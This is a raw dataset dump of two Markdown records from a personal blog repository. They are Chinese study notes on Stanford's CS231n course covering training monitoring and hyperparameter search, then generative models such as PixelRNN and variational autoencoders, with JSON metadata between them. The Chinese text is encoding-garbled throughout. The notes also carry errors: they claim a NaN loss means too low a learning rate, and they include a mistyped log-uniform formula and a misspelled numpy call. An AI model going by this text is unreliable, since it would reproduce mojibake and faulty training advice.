๏ผˆ่ฟ™ๆ˜ฏๅŠจๆœบ๏ผ‰\n - Allows higher learning rates\n - Reduces the strong dependence on initialization ๏ผˆ่ฟ™ๆ˜ฏๅŠจๆœบ๏ผ‰\n - ๆ›ด้ซ˜็š„้ฒๆฃ’ๆ€ง\n - Acts as a form of regularization in a funny way, and slightly reduces the need for dropout, maybe \n\n\n\n\n\n## Training dynamics\n\nไธ‹้ข๏ผŒๆˆ‘ไปฌ่ฆ่ฎจ่ฎบ็š„ๆ˜ฏ๏ผšๅฆ‚ไฝ•็›‘่ง†่ฎญ็ปƒ่ฟ‡็จ‹ใ€‚\n\n\n\n### Babysitting the Learning Process\n\n1. Preprocess the data \n\n - ๆ•ฐๆฎ้ข„ๅค„็†๏ผŒไฝฟๅพ—ๆฏไธชๅฏนๅบ”ๅƒ็ด ็‚นๅ€ผๆ ‡ๅ‡†ๅŒ–๏ผš\n\n ```python\n X -= np.mean(X, axis = 0)\n X /= np.std(X, axis = 0)\n ```\n\n2. Choose the architecture\n\n - ่ฟ™ๆฒกๅ•ฅๅฏ่ฏด็š„๏ผŒ็กฎๅฎšๅฅฝไฝ ็š„็ฝ‘็ปœๅฐฑๆ˜ฏไบ†ใ€‚\n\n3. Double check that the loss is reasonable\n\n - ๅฎŒๆ•ดๆ€งๆฃ€ๆŸฅ๏ผš๏ผˆfirst iteration๏ผ‰\n - ๆ— ๆญฃๅˆ™ๅŒ–ๆ—ถ๏ผŒๆŸๅคฑๅ€ผ็ฌฆๅˆ้ข„ๆœŸ\n - ๆœ‰ๆญฃๅˆ™ๅŒ–ๆ—ถ๏ผŒๆŸๅคฑๅ€ผๆœ‰็•ฅๅพฎ็š„ๆๅ‡\n - ๅ–้žๅธธๅฐ‘้‡็š„่ฎญ็ปƒๆ ทๆœฌไฝœไธบ่ฎญ็ปƒ้›†่ฎญ็ปƒ๏ผŒๆ— ๆญฃๅˆ™ๅŒ–๏ผŒ็”จๆœ€็ฎ€ๅ•็š„ SGD ไผ˜ๅŒ–ใ€‚็›ฎๆ ‡ๆ˜ฏ๏ผš่ฟ‡ๆ‹Ÿๅˆ๏ผ\n\n - ๆŽฅไธ‹ๆฅๅฐฑๅฏไปฅๅผ€ๅง‹ๆญฃๅผ่ฎญ็ปƒไบ†~๏ผ\n\n - ็”จๅ…จ้ƒจ็š„่ฎญ็ปƒ้›†ๆ ทๆœฌ่ฎญ็ปƒ๏ผŒๅพˆๅฐ็š„ๆญฃๅˆ™ๅŒ–๏ผŒไฝฟ็”จไธ€ไธช่พƒๅฐ็š„ๅญฆไน ็Ž‡ๅผ€ๅง‹่ฎญ็ปƒใ€‚\n - ๅฆ‚ๆžœๆŸๅคฑๅ€ผๅ‡ ไนŽๆฒกๆœ‰ๅ˜ๅŠจ๏ผŒ่ฏดๆ˜Žๅญฆไน ็Ž‡ๅคชไฝŽไบ†ใ€‚ไธ่ฟ‡่ฆๆ˜ฏไฝ ็œ‹ๅˆฐ่ฎญ็ปƒ/ๆต‹่ฏ•ไธŠ็š„ accuracy ๅœจๆๅ‡๏ผŒ่ฏดๆ˜Žๅ‚ๆ•ฐๆขฏๅบฆๆ›ดๆ–ฐๆ–นๅ‘ๆ˜ฏๅฏน็š„ใ€‚\n - ๅฆ‚ๆžœๆŸๅคฑๅ€ผๆ˜ฏ NaN๏ผŒๅฐฑๆ˜ฏๅญฆไน ็Ž‡ๅพˆๅฏ่ƒฝๆ˜ฏๅคชไฝŽไบ†ใ€‚็ฒ—็•ฅๅœฐ่ฏด๏ผŒๅญฆไน ็Ž‡ๅบ”่ฏฅๆ˜ฏๅœจ (1e-3...1e-5) ็š„ไบคๅ‰้ชŒ่ฏ่Œƒๅ›ดๅ†…ใ€‚\n\n\n\n### Hyperparameter Optimization\n\nๅˆšๅˆš็จๅพฎๆถ‰ๅŠไบ†ไธ€็‚นๅญฆไน ็Ž‡็š„่ฐƒๅ‚้—ฎ้ข˜๏ผŒ็Žฐๅœจๅผ€ๅง‹ๅ…จ้ข็š„่ฐˆไธ€่ฐˆใ€‚\n\nๅคš็š„ๅ…ˆไธ่ฏด๏ผŒ่ฆ**ไบคๅ‰้ชŒ่ฏ**๏ผ๏ผˆ้ขใ€‚ใ€‚ใ€‚็œŸ็š„่ฆไบคๅ‰้ชŒ่ฏไนˆ๏ผŸ๏ผ‰\n\n1. ้ฆ–ๅ…ˆ๏ผŒ้žๅธธๅˆ†ๆ•ฃ็š„ๅ–ๅ‡ ไธช่ถ…ๅ‚ๆ•ฐ็š„ๅ€ผ๏ผŒ็„ถๅŽ็”จๅ‡ ไธช epoch ็š„่ฟญไปฃๅŽปๅญฆไน ๏ผŒ็กฎไฟ้‚ฃไบ›่ถ…ๅ‚ๆ•ฐๆ˜ฏ่ตท็ ่ƒฝ็”จ็š„ใ€‚ๅนถไธ”ๆŒ‘ๅ‡บ้ชŒ่ฏ้›†ไธŠๅ‡†็กฎ็Ž‡่พƒ้ซ˜็š„ไธ€ๅฅ—่ถ…ๅ‚ๆ•ฐ็š„่Œƒๅ›ดใ€‚\n\n ๏ผˆTip๏ผšๅฆ‚ๆžœๆŸๆฌก่ฟญไปฃ็š„ๆŸๅคฑๅ€ผๅทฒ็ป่ถ…่ฟ‡็ฌฌไธ€ๆฌก่ฟญไปฃ็š„3ๅ€ไบ†๏ผŒ้‚ฃๅฐฑๆžœๆ–ญๆ”พๅผƒ่ฟ™ๅฅ—ๅ‚ๆ•ฐๅง๏ผ๏ผ‰\n\n2. ็ฌฌไบŒๆญฅ๏ผŒ่ฟ›ไธ€ๆญฅๅˆ’ๅฐ่ถ…ๅ‚ๆ•ฐ็š„่Œƒๅ›ด่ฎญ็ปƒๅง๏ผlonger running time, finer search ... (repeat as necessary)\n\n ๏ผˆTip๏ผšๆญฃๅˆ™ๅ’Œๅญฆไน ็Ž‡ไธคไธช่ถ…ๅ‚ๆ•ฐ็š„ไบคๅ‰้ชŒ่ฏๅ–ๅ€ผๅฏไปฅ้‡‡็”จ10็š„ๅฏนๆ•ฐไน‹้—ดๅ‡ๅŒ€้‡‡ๆ ทไธบๅฅฝ๏ผŒๅ› ไธบๅญฆไน ็Ž‡ๅœจๆขฏๅบฆๆ›ดๆ–ฐๆ—ถๅ…ทๆœ‰ไน˜ๆณ•ๆ•ˆๅบ”ใ€‚ๅฏๅฆ‚ไธ‹่ฎพ็ฝฎ่ถ…ๅ‚ๆ•ฐ๏ผš\n\n ```python\n reg = 10**uniform(-5, 5)\n lr = 10*uniform(-3, -6)\n ```\n\n ๏ผ‰\n\n ๏ผˆTip๏ผšๅœจ่ฟ›ไธ€ๆญฅๅˆ’ๅฎšๅฐ็š„่ถ…ๅ‚ๆ•ฐๅŒบ้—ดๅŽป่ฟ›ไธ€ๆญฅไบคๅ‰้ชŒ่ฏๆ—ถ๏ผŒ่ฆ้ฟๅ…ๅ‡บ็Žฐ่พƒๅฅฝ็š„้ชŒ่ฏ็ป“ๆžœ้ƒฝๅ‡บ็Žฐๅœจ่ถ…ๅ‚ๆ•ฐ็š„้‡‡ๆ ท่พน็ผ˜ใ€‚๏ผ‰\n\n ๏ผˆTip๏ผšๅฏไปฅ่€ƒ่™‘็”จ้šๆœบๆœ็ดขไปฃๆ›ฟ็ฝ‘ๆ ผๆœ็ดขใ€‚[Random Search for Hyper-Parameter Optimization - Bergstra and Bengio, 2012]ใ€‚่ฟ™ๆ˜ฏๅ› ไธบๅฏนไบŽ่ถ…่ฟ‡ไธ€ไธชๅ˜้‡็š„ๅ‡ฝๆ•ฐ่€Œ่จ€๏ผŒ้šๆœบ้‡‡ๆ ทไผšๆ›ดๅŠ ็œŸๅฎžใ€‚้€šๅธธๆˆ‘ไปฌไผšๅฏนๆˆ‘ไปฌ็œŸๆญฃๆœ‰็š„็ปดๅบฆ่ฟ›่กŒ็จๅพฎ็š„ๆœ‰ๆ•ˆ็š„้™็ปด๏ผŒๆŽฅ็€ๅฐฑๅฏไปฅๅพ—ๅˆฐๆ›ดๅคšๅทฒๆœ‰็š„้‡่ฆๅ˜้‡็š„ๆ ทๆœฌ๏ผŒ่ฟ›่€Œๅฐฑ่ƒฝๅพ—ๅˆฐๆ›ดๅคšๆœ‰็”จ็š„ไฟกๆฏ๏ผ‰\n\n ๏ผˆๅฐๅ“ฅๅฏน้šๆœบๆœ็ดขๅœจ็†่ฎบไธŠ็š„ไผ˜่ถŠๆ€ง่งฃ้‡Š๏ผšๅ› ไธบๅฝ“ไฝ ็š„ๆจกๅž‹ๆ€ง่ƒฝๅฏนๆŸไธ€ไธช่ถ…ๅ‚ๆ•ฐๆฏ”ๅฏนๅ…ถไป–่ถ…ๅ‚ๆ•ฐๆ›ดๆ•ๆ„Ÿ็š„ๆ—ถๅ€™๏ผŒ้šๆœบๆœ็ดขๅฏไปฅๅฏน่ถ…ๅ‚ๆ•ฐ็ฉบ้—ด่ฆ†็›–็š„ๆ›ดๅฅฝใ€‚๏ผ‰\n\n ๏ผˆๅฐๅ“ฅๅฏน็ฒ—็ป†็ฒ’ไบคๅ‰ๆœ็ดข็š„่งฃ้‡Š๏ผšๅฝ“ไฝ ๅš่ถ…ๅ‚ๆ•ฐไผ˜ๅŒ–็š„ๆ—ถๅ€™๏ผŒไธ€ๅผ€ๅง‹ๅฏ่ƒฝไผšๅค„็†ๅพˆๅคง็š„ๆœ็ดข่Œƒๅ›ด๏ผŒๅ‡ ๆฌก่ฟญไปฃไน‹ๅŽๅฐฑๅฏไปฅ็ผฉๅฐ่Œƒๅ›ด๏ผŒๅœˆๅฎšๅˆ้€‚็š„่ถ…ๅ‚ๆ•ฐๆ‰€ๅœจ็š„ๅŒบๅŸŸ๏ผŒ็„ถๅŽๅ†ๅฏน่ฟ™ไธชๅฐ่Œƒๅ›ด้‡ๅค่ฟ™ไธช่ฟ‡็จ‹ใ€‚ไฝ ๅฏไปฅๅคšๆฌก่ฟญไปฃ่ฟ›่กŒไธŠ่ฟฐ็š„ๆญฅ้ชค๏ผŒๅทฒ่Žทๅพ—่ถ…ๅ‚ๆ•ฐ็š„ๆญฃ็กฎๅŒบๅŸŸใ€‚ๅฆๅค–ๅพˆ้‡่ฆ็š„ไธ€็‚นๆ˜ฏ๏ผŒไธ€ๅผ€ๅง‹ไฝ ๅพ—็กฎๅฎš็ฒ—็•ฅ็š„่Œƒๅ›ด๏ผŒ่ฟ™ไธช่Œƒๅ›ด่ฆ้žๅธธๅฎฝ๏ผŒ่ฆ†็›–ไฝ ๆ‰€ๆœ‰็š„่ถ…ๅ‚ๆ•ฐใ€‚็†ๆƒณๆƒ…ๅ†ตไธ‹๏ผŒ่Œƒๅ›ดๅบ”่ฏฅ่ถณๅคŸๅฎฝๅˆฐไฝ ็š„็ฝ‘็ปœไธไผš่ถ…่ฟ‡่Œƒๅ›ด็š„ไปปไฝ•ๅฆไธ€่พนใ€‚่ฟ™ๆ ทไฝ ๅฐฑ็Ÿฅ้“่‡ชๅทฑ็š„ๆœ็ดข่Œƒๅ›ด่ถณๅคŸๅคงใ€‚๏ผ‰\n\n ๏ผˆๅฐๅ“ฅ็š„FYI่งฃ็ญ”๏ผš**้€šๅธธๆœ€ๅ…ˆๅฎšไธ‹็š„่ถ…็บงๆ•ๆ„Ÿ็š„ๅญฆไน ็Ž‡**๏ผ็„ถๅŽๆ‰ๆ˜ฏๆญฃๅˆ™ๅŒ–ๅ•ฆ๏ผŒ็ฝ‘็ปœ็ป“ๆž„ๅ•ฆ็ญ‰็ญ‰๏ผ‰\n\n- ่ถ…ๅ‚ๆ•ฐ่ฐƒๅ‚ไน‹่ทฏๆ˜ฏๆฐธๆ— ๆญขๅขƒ็š„๏ผ่ฟ˜ๆœ‰ๅพˆๅคš่ฆ่ฐƒ๏ผŒๆฏ”ๅฆ‚๏ผš\n\n - network architecture\n - learning rate, its decay schedule, update type\n - regularization (L2/Dropout strength)\n - ....\n\n > ไฝ ๏ผๅฐฑๆ˜ฏๆœชๆฅ็Žฉ่ฝฌๆทฑๅบฆๅญฆไน ็š„่‘—ๅ DJ ๆ‰‹๏ผ\n\n ![](https://i.loli.net/2018/08/26/5b82c3b892387.png)\n\n\n\n- More Tips๏ผš\n\n - ๅฆ‚ๆžœๆŸๅคฑๅ€ผๅˆšๅผ€ๅง‹็š„ๆ—ถๅ€™ๅพˆๅนณๆป‘๏ผŒ็„ถๅŽ็ช็„ถๅผ€ๅง‹่ฎญ็ปƒ็š„่ฏ๏ผŒๅพˆๅฏ่ƒฝ่ฏดๆ˜Žๆƒ้‡ๅ‚ๆ•ฐๅˆๅง‹ๅ€ผไธๅคŸๅฅฝใ€‚\n\n ![](https://i.loli.net/2018/08/26/5b82c4c146f7c.png)\n\n - ็•™ๆ„่ฎญ็ปƒ่ฟญไปฃ่ฟ‡็จ‹ไธญ็š„ accuracy๏ผš\n\n ![](https://i.loli.net/2018/08/26/5b82c53f746b3.png)\n\n - ๅบ”่ฏฅ่ฎฐๅฝ•ๆƒ้‡็š„ๆ›ดๆ–ฐๅ€ผๅ’Œๆ›ดๆ–ฐ็š„ๅน…ๅบฆๅ˜ๅŒ–๏ผš \n\n ```python\n # assume parameter vector W and its gradient vector dW\n param_scale = np.linalg.norm(W.ravel())\n update = - learning_rate * dW # simple SGD update\n update_scale = np.linalg.norm(update.revel())\n W += update # the actual update\n print(update_scale / param_scale) # want ~1e-3\n ```\n\n ratio between the updates and values: ~ 0.0002 / 0.02 = 0.01 (about okay)\n\n **want this to be somewhere around 0.001 or so**\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_6.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.7459449768066406, "alphanum_fraction": 0.7984500527381897, "avg_line_length": 36.40224838256836, "blob_id": "3c8c720f9f56b6c472491b963b58b635228e88c1", "content_id": "c18c412ef3f6eb6d68c611365341ad8c829c0230", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 36462, "license_type": "no_license", "max_line_length": 496, "num_lines": 445, "path": "/blog/cs231n/cs231n_12.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.12\ndate: 2018-09-12\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=29)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n\n\n\n# Lecture 12. Generative Models\n\n\n\n## Supervised vs Unsupervised Learning\n\n![](https://i.loli.net/2018/08/31/5b892f9693267.png)\n\n## Generative Models\n\n็”Ÿๆˆๅผๆจกๅž‹ๆ˜ฏๆ— ็›‘็ฃๅญฆไน ่Œƒ็•ดไธ‹็š„ไธ€็ฑปๆจกๅž‹ใ€‚ๅœจ็ป™ๅฎš่ฎญ็ปƒๆ•ฐๆฎ็š„ๆƒ…ๅ†ตไธ‹๏ผŒๆˆ‘ไปฌไปปๅŠก็š„็›ฎๆ ‡ๆ˜ฏไปŽ็›ธๅŒ็š„ๆ•ฐๆฎๅˆ†ๅธƒไธญ็”Ÿๆˆๆ–ฐ็š„ๆ ทๆœฌใ€‚้‚ฃไนˆๆˆ‘ไปฌๆœ‰ไธ€ไบ›่ฎญ็ปƒๆ•ฐๆฎๆ˜ฏ็”ฑๆŸ็งๅˆ†ๅธƒ $p_{\\text{data}}(x)$ ไธญ็”Ÿๆˆ็š„๏ผŒ็„ถๅŽๆˆ‘ไปฌๆƒณไปŽไธญไน ๅพ—ไธ€ไธชๆจกๅž‹ $p_{\\text{model}}(x)$ ๆฅไปฅ็›ธๅŒ็š„ๅˆ†ๅธƒ็”Ÿๆˆๆ ทๆœฌใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๆˆ‘ไปฌๆƒณ**่ฆ $p_{\\text{model}}$ ่ƒฝๅญฆๅพ—ๅ’Œ $p_{\\text{data}}$ ๅฐฝๅฏ่ƒฝๅœฐ็›ธไผผ**ใ€‚\n\n![](https://i.loli.net/2018/08/31/5b89329910a71.png)\n\n็”Ÿๆˆๅผๆจกๅž‹ๅฏไปฅ่งฃๅ†ณๅฏ†ๅบฆไผฐ่ฎก้—ฎ้ข˜๏ผŒไนŸๅฐฑๆ˜ฏๆˆ‘ไปฌไน‹ๅ‰็œ‹ๅˆฐ็š„**ไผฐ่ฎก่ฎญ็ปƒๆ•ฐๆฎ็š„ๆฝœๅœจๅˆ†ๅธƒ**็š„ไปปๅŠกใ€‚่ฟ™ไนŸๆ˜ฏๆ— ็›‘็ฃๅญฆไน ็š„ ๆ ธๅฟƒ้—ฎ้ข˜ใ€‚ๅŒๆ—ถ๏ผŒๆˆ‘ไปฌๅฐ†ไผš็œ‹ๅˆฐ่ฏฅ้—ฎ้ข˜็š„ไธ€ไบ›็‰น็‚น๏ผš\n\n- ๆˆ‘ไปฌๅฏไปฅ็”จ็”Ÿๆˆๅผๆจกๅž‹ๆฅๅšๆ˜พๅผ็š„ๅฏ†ๅบฆไผฐ่ฎกใ€‚ๅœจ่ฟ™็งๆƒ…ๅ†ตไธ‹ๆˆ‘ไปฌไผšๆ˜พๅผๅœฐๅฎšไน‰ๅนถๆฑ‚่งฃๅ‡บ็›ฎๆ ‡ๆจกๅž‹ $p_{\\text{model}}$ ใ€‚\n- ๆˆ‘ไปฌไนŸๅฏไปฅ่ฟ›่กŒ้šๅผ็š„ๅฏ†ๅบฆไผฐ่ฎกใ€‚่ฟ™็งๆƒ…ๅ†ตไธ‹ๆˆ‘ไปฌไผšไน ๅพ—ไธ€ไธช่ƒฝๅคŸไปŽ $p_{\\text{model}}$ ไธญ็”Ÿๆˆๆ ทๆœฌ็š„ๆจกๅž‹่€Œไธ้œ€่ฆๆ˜พๅผๅœฐๅฎšไน‰ๅฎƒใ€‚\n\n\n\n- Why Generative Models?\n 1. ๆˆ‘ไปฌ่ƒฝๅคŸไปŽๆ•ฐๆฎๅˆ†ๅธƒไธญๅˆ›้€ ๅ‡บๆˆ‘ไปฌๆƒณ่ฆ็š„็œŸๅฎžๆ ทๆœฌใ€‚\n 2. ๆˆ‘ไปฌ่ฟ˜ๅฏไปฅ็”จๆ—ถ้—ดๅบๅˆ—ๆ•ฐๆฎ็š„็”Ÿๆˆๅผๆจกๅž‹ๆฅ่ฟ›่กŒไปฟ็œŸๅ’Œ่ง„ๅˆ’๏ผŒ่ฟ™ๆ ทไธ€ๆฅๅฐฑ่ƒฝๅœจๅผบๅŒ–ๅญฆไน ๅบ”็”จไธญๆดพไธŠ็”จๅœบใ€‚\n 3. ้šๅผ่กจๅพ็š„ๆŽจๆ–ญๆˆไธบๅฏ่ƒฝใ€‚ๅญฆไน ้šๅผ็‰นๅพๅฏนไบŽไธ‹ๆธธไปปๅŠก๏ผˆๅœจ่ฟ™้‡Œๅฏไปฅไฝœไธบไธ€่ˆฌ็‰นๅพ๏ผ‰ๆฅ่ฏดๆ˜ฏ้žๅธธๆœ‰็”จ็š„ใ€‚\n\n\n\n![](https://i.loli.net/2018/08/31/5b8934dfb07d6.png)\n\n\n\n\n\n### PixelRNN and PixelCNN\n\n[van der Oord et al. 2016]\n\nPixelRNN ๅ’Œ PixelCNN ้ƒฝๅฑžไบŽๅ…จๅฏ่งไฟกๅฟต็ฝ‘็ปœ๏ผˆfully visible belief networks๏ผ‰๏ผŒๅฎƒไปฌ่ฆๅš็š„ๅฐฑๆ˜ฏๅฏนไธ€ไธชๅฏ†ๅบฆๅˆ†ๅธƒๆ˜พๅผๅปบๆจกใ€‚้‚ฃไนˆๅœจ่ฟ™็งๆƒ…ๅ†ตไธ‹๏ผŒๆˆ‘ไปฌๆœ‰ๅ›พๅƒๆ•ฐๆฎ $x$๏ผŒๅŒๆ—ถๆˆ‘ไปฌๆƒณ่ฆๅฏน่ฏฅๅ›พๅƒ็š„ๆฆ‚็Ž‡ๅˆ†ๅธƒๆˆ–่€…ไผผ็„ถ $p(x)$ ๅปบๆจกใ€‚ๅฏนไบŽ่ฟ™ๅ‡ ็งๆจกๅž‹๏ผŒๆˆ‘ไปฌไฝฟ็”จ้“พๅผๆณ•ๅˆ™ๅฐ†่ฟ™ไธ€ไผผ็„ถๅˆ†่งฃไธบไธ€็ปดๅˆ†ๅธƒ็š„ไน˜็งฏใ€‚้‚ฃไนˆ่ฟ™้‡Œๆˆ‘ไปฌๆœ‰ๆฏไธชๅƒ็ด  $x_i$ ็š„ๆกไปถๆฆ‚็Ž‡๏ผŒๅ…ถๆกไปถๆ˜ฏ็ป™ๅฎšๆ‰€ๆœ‰ไธ‹ๆ ‡ๅฐไบŽ i ็š„ๅƒ็ด  $(x_1,\\dots,x_{i-1})$ ใ€‚่ฟ™ๆ—ถๅ›พๅƒไธญๆ‰€ๆœ‰ๅƒ็ด ็š„ๆฆ‚็Ž‡ๆˆ–่€…่”ๅˆๆฆ‚็Ž‡ๅฐฑๆ˜ฏๆ‰€ๆœ‰่ฟ™ไบ›ๅƒ็ด ็‚นโ€”โ€”ๆ‰€ๆœ‰่ฟ™ไบ›ไผผ็„ถ็š„ไน˜็งฏใ€‚\n\n![](https://i.loli.net/2018/08/31/5b89385d9b707.png)\n\nไธ€ๆ—ฆๆˆ‘ไปฌๅฎšไน‰ๅฅฝ่ฟ™ไธ€ไผผ็„ถ๏ผŒไธบไบ†่ฎญ็ปƒ่ฟ™ไธ€ๆจกๅž‹ๆˆ‘ไปฌๅช่ฆๅœจ่ฏฅๅฎšไน‰ไธ‹ๆœ€ๅคงๅŒ–ๆˆ‘ไปฌ็š„่ฎญ็ปƒๆ•ฐๆฎ็š„ไผผ็„ถใ€‚\n\n้‚ฃไนˆๅฆ‚ๆžœๆˆ‘ไปฌ่ง‚ๅฏŸไธ‹ๅณ่พน็š„ๅƒ็ด ๅ€ผๆฆ‚็Ž‡ๅˆ†ๅธƒ๏ผŒไนŸๅฐฑๆ˜ฏ็ป™ๅฎšๆ‰€ๆœ‰ๅœจ $x_i$ ไน‹ๅ‰็š„ๅƒ็ด ๅ€ผๆกไปถไธ‹็š„ๆกไปถๆฆ‚็Ž‡ $p(x_i)$ ๏ผŒ้‚ฃไนˆๆˆ‘ไปฌ่ฏฅๅฆ‚ไฝ•ๅปบๆจกๅ‘ข๏ผŸ\n\nๆˆ‘ไปฌไน‹ๅ‰ๅทฒ็ปไบ†่งฃๅˆฐๅฆ‚ๆžœๆƒณ่ฆ่ฟ›่กŒไธ€ไบ›ๅคๆ‚็š„ๅ˜ๆข๏ผŒๆˆ‘ไปฌๅฏไปฅๅˆฉ็”จ็ฅž็ป็ฝ‘็ปœๅฎž็Žฐ่ฟ™ไธ€ๅˆ‡ใ€‚็ฅž็ป็ฝ‘็ปœๆ˜ฏไธ€็ง่กจ่พพๅคๆ‚ๅ˜ๆข็š„ๅพˆๅฅฝ็š„ๆ–นๆณ•ใ€‚ๆ‰€ไปฅๆˆ‘ไปฌๅฎถไธ‹ๆฅไผšๅš็š„ๅฐฑๆ˜ฏๆˆ‘ไปฌไผšๅช็”จไธ€ไธช็ฅž็ป็ฝ‘็ปœๆฅ่กจ่พพ่ฟ™ไธ€ๅ…ณไบŽๆฆ‚็Ž‡ๅˆ†ๅธƒ็š„ๅคๆ‚ๅ‡ฝๆ•ฐใ€‚\n\nไธ่ฟ‡ๅœจ่ฟ™้‡Œไฝ ไผš้‡ๅˆฐ็š„ไธ€ไธช้—ฎ้ข˜ๆ˜ฏ๏ผšๅณไฝฟๆˆ‘ไปฌๆ‰“็ฎ—็”จ็ฅž็ป็ฝ‘็ปœ่งฃๅ†ณ้—ฎ้ข˜๏ผŒๆˆ‘ไปฌไนŸๅฟ…้กป่€ƒ่™‘ๅฆ‚ไฝ•ๅฏน่ฟ™ไบ›ๅƒ็ด ๆŽ’ๅบใ€‚ๆˆ‘ไปฌๆ›พ่ฏด่ฟ‡ๅœจ่ฟ™ไธ€ไปปๅŠกไธญๆˆ‘ไปฌๆœ‰ไธ€ไธช็ป™ๅฎšๆ‰€ๆœ‰ไน‹ๅ‰็š„ๅƒ็ด ๏ผŒๅ…ณไบŽ $x_i$ ็š„ๅˆ†ๅธƒ $p$ ๏ผŒไฝ†ๆ˜ฏ็ฉถ็ซŸไป€ไนˆๆ˜ฏๆ‰€ๆœ‰ไน‹ๅ‰็š„ๅƒ็ด ๅ‘ข๏ผŸ\n\n- PixelRNN\n\n ![](https://i.loli.net/2018/08/31/5b893a00af09a.png)\n\n- PixelCNN\n\n ![](https://i.loli.net/2018/08/31/5b893a7845dbf.png)\n\n\n\n- Summary for PixelRNN and PixelCNN\n\n ![](https://i.loli.net/2018/08/31/5b893bc7d9993.png)\n\n- So far...\n\n ![](https://i.loli.net/2018/09/08/5b932b6610442.png)\n\n\n\n\n\n\n### Variational Autoencoders (VAE)\n\nๅฏนไบŽ VAEs๏ผˆๅ˜ๅˆ†่‡ช็ผ–็ ๅ™จ๏ผ‰๏ผŒๆˆ‘ไปฌๅฐ†ไผšๅฎšไน‰ไธ€ไธชไธๆ˜“ๅค„็†็š„ๅฏ†ๅบฆๅ‡ฝๆ•ฐ๏ผŒๆˆ‘ไปฌ่ฆ้€š่ฟ‡้™„ๅŠ ็š„้šๅ˜้‡ z ๅฏนๅ…ถ๏ผˆๅฏ†ๅบฆๅ‡ฝๆ•ฐ๏ผ‰ๅปบๆจกใ€‚ๆˆ‘ไปฌ็š„ๆ•ฐๆฎ็š„ไผผ็„ถ $p(x)$ ็Žฐๅœจๆ˜ฏไธ‹้ข็ญ‰ๅผๅณ่พน็š„็งฏๅˆ†ๅฝขๅผ๏ผŒไนŸๅฐฑๆ˜ฏๅฏนๆ‰€ๆœ‰ๅฏ่ƒฝ็š„ z ๅ€ผๅ–ๆœŸๆœ›๏ผš\n$$\np_\\theta(x) = \\int p_\\theta(z)p_\\theta(x|z) dz\n$$\n่ฟ™ๆ—ถๆˆ‘ไปฌๅฐฑ็œ‹ๅˆฐ้—ฎ้ข˜ไบ†๏ผŒๆˆ‘ไปฌไธ่ƒฝ็›ดๆŽฅไผ˜ๅŒ–ๅฎƒ๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๅช่ƒฝ่ฝฌ่€Œๆ‰พๅ‡บไธ€ไธชไผผ็„ถๅ‡ฝๆ•ฐ็š„ไธ‹็•Œ๏ผŒ็„ถๅŽๅ†ๅฏน่ฏฅไธ‹็•Œ่ฟ›่กŒไผ˜ๅŒ–ใ€‚\n\nๆŽฅไธ‹ๆฅ๏ผŒๅ…ˆๅ›ž้กพไธ‹ไป€ไนˆๆ˜ฏ่‡ชๅŠจ็ผ–็ ๅ™จ๏ผˆAutoencoders๏ผ‰ใ€‚\n\n\n\n#### Autoencoders\n\n- Encoder\n\n ![](https://i.loli.net/2018/08/31/5b893f5e82340.png)\n\n- Decoder\n\n ![](https://i.loli.net/2018/08/31/5b8940b55d49a.png)\n\n่ฎฐๅพ—ๆŠŠ L2 ๆŸๅคฑ็”จ่ตทๆฅใ€‚ใ€‚ใ€‚ใ€‚\n\nไบ‹ๅฎžไธŠ่งฃ็ ๅ™จๅฏไปฅ็”จไธ€ไธช็›‘็ฃๆจกๅž‹ไฝœไธบ่ฎญ็ปƒ่ตทๅง‹๏ผš\n\n![](https://i.loli.net/2018/09/08/5b932de1bb4c3.png)\n\nๆ—ข็„ถ่‡ช็ผ–็ ๅ™จ่ƒฝ้‡ๆž„ๆ•ฐๆฎ๏ผŒไนŸๅฏไปฅไปŽไธ€ไธช็›‘็ฃๆจกๅž‹่ตทๅง‹ๅญฆไน ๅˆฐ็‰นๅพ๏ผŒ้‚ฃไนˆๅฏไปฅ็”จๅฎƒ็”Ÿๆˆๆ–ฐๆ•ฐๆฎไนˆ๏ผŸ\n\n\n\n#### Variational Autoencoders\n\nๆญคๅค„ไธ€็ฏ‡ paper๏ผš\n\n> Kingma and Welling, โ€œAuto-Encoding Variational Bayesโ€, ICLR 2014\n\nๅ˜ๅˆ†่‡ช็ผ–็ ๅ™จ๏ผ่ฟ™ๆ˜ฏ้€š่ฟ‡ๅ‘่‡ช็ผ–็ ๅ™จไธญๅŠ ๅ…ฅ้šๆœบๅ› ๅญ่Žทๅพ—็š„ไธ€็งๆจกๅž‹ใ€‚่ฟ™ๆ ทไธ€ๆฅๆˆ‘ไปฌๅฐฑ่ƒฝไปŽ่ฏฅๆจกๅž‹ไธญ้‡‡ๆ ทไปŽ่€Œ็”Ÿๆˆๆ–ฐๆ•ฐๆฎใ€‚\n\n![](https://i.loli.net/2018/09/08/5b933185cdbdc.png)\n\nๆˆ‘ไปฌๆœ‰ x ่€Œ i 